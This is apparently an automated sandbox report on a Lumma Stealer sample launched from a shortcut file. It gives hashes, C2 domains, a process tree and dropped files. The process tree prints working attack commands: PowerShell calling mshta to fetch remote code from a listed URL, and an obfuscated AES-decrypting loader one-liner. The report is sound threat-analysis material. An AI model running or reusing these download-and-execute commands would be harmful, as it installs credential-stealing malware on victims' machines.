lumma | 146c124f7f8b73ca14819cc71cb8c4d6115910d0c9a244505305da43a984db03

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
28/05/2024, 11:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
146c124f7f8b73ca14819cc71cb8c4d6115910d0c9a244505305da43a984db03.lnk
Size 1KB
Sample240528-nqfc5ahc21
SHA256 146c124f7f8b73ca14819cc71cb8c4d6115910d0c9a244505305da43a984db03
MD5 9502dc9350c13e66e15a4cfb2c1f3aca
SHA1 dc2242f7db20926823f21a998f04e18754385818
SHA512 cf33bef35a2ace1ff96c3155677e90089f5cbd3564c046e843f1deda72fded3764144f30c7d09d18b3429451b5aa25fd875f28ae32df8a35978ba4e1e0a66922
MD5 SHA1 SHA512

Score

10^/10

lumma stealer

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://matodown.b-cdn.net/matodown

Extracted

Family

lumma

https://declineforntyuekw.shop/api
https://museumtespaceorsp.shop/api
https://buttockdecarderwiso.shop/api
https://averageaattractiionsl.shop/api
https://femininiespywageg.shop/api
https://employhabragaomlsp.shop/api
https://stalfbaclcalorieeis.shop/api
https://civilianurinedtsraov.shop/api
https://roomabolishsnifftwk.shop/api

Signatures

Lumma Stealer
An infostealer written in C++ first seen in August 2022.
stealer lumma

Blocklisted process makes network request 5 IoCs

flow	pid	Process
8	5084	mshta.exe
10	5084	mshta.exe
20	5084	mshta.exe
25	5084	mshta.exe
30	924	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
4932	jdhek.exe

Loads dropped DLL 2 IoCs

pid	Process
4932	jdhek.exe
2540	Uhzi.au3

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4932 set thread context of 2888	4932	jdhek.exe	104

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
656	powershell.exe
656	powershell.exe
924	powershell.exe
924	powershell.exe
4932	jdhek.exe
4932	jdhek.exe
2888	more.com
2888	more.com

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4932	jdhek.exe
2888	more.com

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	656	powershell.exe
Token: SeDebugPrivilege	924	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 208 wrote to memory of 656	208	cmd.exe	84
PID 208 wrote to memory of 656	208	cmd.exe	84
PID 656 wrote to memory of 5084	656	powershell.exe	85
PID 656 wrote to memory of 5084	656	powershell.exe	85
PID 5084 wrote to memory of 924	5084	mshta.exe	91
PID 5084 wrote to memory of 924	5084	mshta.exe	91
PID 924 wrote to memory of 4932	924	powershell.exe	103
PID 924 wrote to memory of 4932	924	powershell.exe	103
PID 4932 wrote to memory of 2888	4932	jdhek.exe	104
PID 4932 wrote to memory of 2888	4932	jdhek.exe	104
PID 4932 wrote to memory of 2888	4932	jdhek.exe	104
PID 4932 wrote to memory of 2888	4932	jdhek.exe	104
PID 2888 wrote to memory of 2540	2888	more.com	107
PID 2888 wrote to memory of 2540	2888	more.com	107
PID 2888 wrote to memory of 2540	2888	more.com	107
PID 2888 wrote to memory of 2540	2888	more.com	107
PID 2888 wrote to memory of 2540	2888	more.com	107

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\146c124f7f8b73ca14819cc71cb8c4d6115910d0c9a244505305da43a984db03.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .'mshta'https://matodown.b-cdn.net/matodown
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:656
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://matodown.b-cdn.net/matodown
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:5084
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function QauvaMS($HoDdRmke){return -split ($HoDdRmke -replace '..', '0x$& ')};$iyNlCY = QauvaMS('7FF9A1E2028C72D9633F746D053860D1AE61EF3075162BEB9119E4A02B456F0B2DADE1FA60EE1391D9318240ECFA0F370A684E1D27488CB7343572180E5D7F64FA2068E6E766E9B97525F92377F555A108905B8992A05554F4615ADEAB8A1B47515BD39DDACACC821E4C7500407F74B4093820D014DA98338FA229F06E0E5A04BE1FBB573C16BBB86334689A1FC12DF0F5ECF45111FCB032578B0E88B72EB216706E8564CD955A0C54287DCEB546FC989E8FDDDBD0454B0F239963F1B7F18639F203254AA31012B1180B407E58CAADDDBBFC5E4F81556AEB82AFE01AA131F4F81B9673DA89E4B0A63ADA8F9827358D40EA388F355F1126D879C3E78B1EE69C9306AC16381DDC6E3B0C89A1210BAD8A615E549C16E28EA1617D07DA97CCC018CE9DA1A16F378F9574EE1178A5097F7FA0F28BFF17A85C5DEE04D481404AE48730119CE230F9EA8A9A329A37D501E323077761B3F481CF9A77393EA97B3DBA24CDB4BB070B435CAE0969A3F8B065BFA58F9F5B6841A620535D3946F9BF60701D26A495A2E42A16F796C9E29A5B2FB98482F0BC8D025377488282A8152CAEF9574201001A15CE517F3C7ED2DC22E85A22EF56F5D8B9000C936180D082CD8CB3739D137632FDA8F79CC75D9C4863B7FDE434DE6F51EA9B3DCEFFA45B58C12510D1FB371BBE42FD2C517E5B14CCA09EE431C45166193C41722F7F69EAB54B06C8842A34745C006FFF6FEC258FE304755E74D1E518F5BBB59B75346EC688FD55B14421D257C5EC8045CCAC9E9D564EF084C451B711FB7B97646F131684A036417111812378604D2977C5B77E88745766E31391233D98834F59D6F1A1DE1E4CE1E55B40C8B19CBEC8AD4081F7EF9D42C4D581B83DC448F727A70A990488FD9014F4609E14A39428810F7060750C838F7077D7EC202F296E9792794E182BD5A27399C139D469FAF24F8F77730F49650D8F85A37C29B71242BD6763F9CD93274F80E3C0403FA52547B334E6AC50EB24D7F4AA5A5A4428FEA1CF3F0038B714F0BBDEDE1BB79E2ACF02A8E00D2FEB599317ABD8D691E4BFC55EFBD715E462E2A946BCD4EEE8369DD957616F32D7C6ECEE54BE1DFEEDD43E4681104618047B25B2680116239CC989F2200632F0A6110511D0E8C73E5B0F0C71B85302F9AFE8C539046BBFCB46F86BF9CDBD68C0A88EFC3898444D66B797D2CD895867FD7A5F88A5A7A13D5226C764D8CFB1FB83C2A1518870EE26DA6C39E2DF081F0A9E6B1CCA5AB799CBE6BAE8CD9F9722C31B6BA069561848CD1A05DE9DFBD2A70DF0C0DE81CE4941DB13BAADFECEC700BEF7756132B7C915BB802E2FA8032A29CA830B981CAF18001CA62C17D46647C8AE199AD9734B5061ECD117ED39CD914CFD5F88648B9DBFC2A1ABE8260B5564E8BF9097E82FFDAA6D84EE0D6539E25B01E2CC8C1AA026AE0F2EB032B0A512F05B6E7B521B8176D28B258B572781FC1B7165830F4235494E1FD3DB1B3EF72561C910DC67D3EE5098D2A032F5D5F4763948C6A686AB016858D95CB34CA802A85B65DF044C885AF586D05F68CB7F75E39882FE4C0490750D377795534A494E124368CD4B23E3AADDFAC52AAD27D748F2A172FA4DEB23F5B93CA8908EB46267A448A4319C83F8D1DD0D9F77F3120540BB050872A2916D730AC480D44DBEDC2E5227F0A042536A9A97D6CCB6351B6627AE0E26F9C9AB7D975A58B4E27CF3C37E99401A88F63F19231313FADBB5B82E47F5D2B281480193E0F8041FC0B11FBE75E334594795B0D58F58F9A2AFF773F3F00C9F9897949F03810B71940EE329078A295EA149457360C8D9201165B5261E948B6801F730F6D63671E80AA283B5C0E4AF7A886A82F21DADCEBBD4BCEF69');$JkpEB = [System.Security.Cryptography.Aes]::Create();$JkpEB.Key = QauvaMS('7075576B5265434F684658506E796E6D');$JkpEB.IV = New-Object byte[] 16;$dghjnlFr = $JkpEB.CreateDecryptor();$fQMBgMIQs = $dghjnlFr.TransformFinalBlock($iyNlCY, 0, $iyNlCY.Length);$KBZnuMBRb = [System.Text.Encoding]::Utf8.GetString($fQMBgMIQs);$dghjnlFr.Dispose();& $KBZnuMBRb.Substring(0,3) $KBZnuMBRb.Substring(3)
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:924
    - - C:\Users\Admin\AppData\Roaming\jdhek.exe
        
        "C:\Users\Admin\AppData\Roaming\jdhek.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:4932
      - C:\Windows\SysWOW64\more.com
        
        C:\Windows\SysWOW64\more.com
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:2888
        
        C:\Users\Admin\AppData\Local\Temp\Uhzi.au3
        
        C:\Users\Admin\AppData\Local\Temp\Uhzi.au3
        7⤵
        Loads dropped DLL
        
        PID:2540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
MD5 SHA1 SHA512

Submit Download

Uhzi.au3

Path C:\Users\Admin\AppData\Local\Temp\Uhzi.au3
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_vpg3pfas.0pb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vpg3pfas.0pb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

f3a7ea6c

Path C:\Users\Admin\AppData\Local\Temp\f3a7ea6c
Size 1.9MB
SHA256 93a8881a971bef82070a038f77c5c55e46d29a91e260c5d472056832a22f25c9
MD5 d314e00d6debdcf375a6999d93cc772e
SHA1 7a340edc3dfa20094431c50b121e932935c9d896
SHA512 a3c5f2fce8d67710883ae4088841b8dbccc92731012a2bc157479e0240d00e1a8c186e3d98f4ecee135e211f6b92776e174e320be13671af975247e30e82e92d
SSDEEP 24576:ceLa34scu3OV//El8Y9yBQwBYwSl5/RgENLnYfobrzs9OVk4xeMYsSmlQI9p7ehl:c8aJcnUTxwO/Rxxu4xeMtSMQI9pai4M6
MD5 SHA1 SHA512 SSDEEP

Submit Download

WebView2Loader.dll

Path C:\Users\Admin\AppData\Roaming\WebView2Loader.dll
Size 157KB
SHA256 a60d1c9f61ed4cfc6fbc67aa25ed20de947bcad22151c89595a22d5f37b7c73c
MD5 acb6167e4889182617e938d0eb1f6a1f
SHA1 2ea2dfb265b1f50e3d077615bd9bbe52fa484c61
SHA512 491daaa013b7d3186f6477104af0eaaa472e3129c5726d3cb0b2d26102293fb5415c85d33fec883591de66ddb76bbcc914ba3306da58e5f3b836b1b403c3b4ed
SSDEEP 3072:Fr0T+bUXzYLPcGE91jkXmxyu1A14mRgD8mjjTIJEtcuVux4W4rbzQrZEhr:FZgjYLPBE9dGvW9mRVEtc+FNDrh
MD5 SHA1 SHA512 SSDEEP

Submit Download

jdhek.exe

Path C:\Users\Admin\AppData\Roaming\jdhek.exe
Size 1.1MB
SHA256 6c30c8a2e827f48fcfc934dd34fb2cb10acb8747fd11faae085d8ad352c01fbf
MD5 c047ae13fc1e25bc494b17ca10aa179e
SHA1 e293c7815c0eb8fbc44d60a3e9b27bd91b44b522
SHA512 0cfb96d23b043bcb954cc307f85e5bbc349c0c8a0c6eaa335ea9a8fa19ce65b047f30ed0049562d40880400d4f70e3bb28975d6970f3ae4af6da1ba06e36d48c
SSDEEP 12288:a9hZPq27B7+x3dPC4gvgdVwTzDxsVyY4YoUwpf5kpRG6xsfJAYo2R0B5YD5sW91A:STS27B7+x3E4tdS/Dxkd4YoDfZ90gLS
MD5 SHA1 SHA512 SSDEEP

Submit Download

rockaway.asp

Path C:\Users\Admin\AppData\Roaming\rockaway.asp
Size 54KB
SHA256 ba8fc8704368822fe51d7812ff9e5026eba7bf62ab47eca7be8292246f2c2da1
MD5 04840b28dce561d5b85837ec86cfe238
SHA1 02f899718928805c057f91982c3837b5a485f84c
SHA512 0a43825fe04e2cfbba51bb17db6ccfc643ad58f16b3c0332facc3f40e7aae7b472b76591fb465cd170c06716d007162f4268aa3d8d1b9c5a8c861211b7c4cc0d
SSDEEP 768:HuZ8HAjhZ1kIazI9fm6rmz3J0JxLSrcZXDFidwPhRJQ3tZtekiE8fMJ2qk:HuZZjlkzIsceJaxLSiZiePhRJY0rjqk
MD5 SHA1 SHA512 SSDEEP

Submit Download

slavey.svg

Path C:\Users\Admin\AppData\Roaming\slavey.svg
Size 1.3MB
SHA256 763f57b06afaf06501bea245a4284aefe4e39f09514bd12a1db74c66ccdd3566
MD5 b9c21e63cd18707eb47a827990df05be
SHA1 26c43b56ab52185b43809a8ef1688ac6c87aecf0
SHA512 1a41ca7128a6e7625e030b70520db1c7a93a408bc4fdcf5389dca83b4423e80c8ab66dfe194b0776cc1b50bb8230a61dceddecfe0589ec2d7bb269db4d2af731
SSDEEP 24576:V0LY0MaQQ4d5WEP1PB8a5agN2xXeXGtWSL6rSMwGuUPQuXxS69DQtf:iLjMaQQ4nP1PBtQ02XWGwe6r4GVPNxS1
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/656-18-0x00007FF8010B0000-0x00007FF801B71000-memory.dmp

Download

memory/656-13-0x00007FF8010B0000-0x00007FF801B71000-memory.dmp

Download

memory/656-8-0x0000026626300000-0x0000026626322000-memory.dmp

Download

memory/656-2-0x00007FF8010B3000-0x00007FF8010B5000-memory.dmp

Download

memory/656-14-0x00007FF8010B0000-0x00007FF801B71000-memory.dmp

Download

memory/924-42-0x000001A04D040000-0x000001A04D04A000-memory.dmp

Download

memory/924-41-0x000001A04D020000-0x000001A04D032000-memory.dmp

Download

memory/2540-352-0x0000000000E20000-0x0000000000E7C000-memory.dmp

Download

memory/2540-353-0x00007FF81F0D0000-0x00007FF81F2C5000-memory.dmp

Download

memory/2540-355-0x0000000000E20000-0x0000000000E7C000-memory.dmp

Download

memory/2888-344-0x00007FF81F0D0000-0x00007FF81F2C5000-memory.dmp

Download

memory/2888-346-0x0000000074FB0000-0x000000007512B000-memory.dmp

Download

memory/4932-336-0x00007FFFF6340000-0x00007FFFF64B2000-memory.dmp

Download

memory/4932-341-0x00007FFFF6340000-0x00007FFFF64B2000-memory.dmp

Download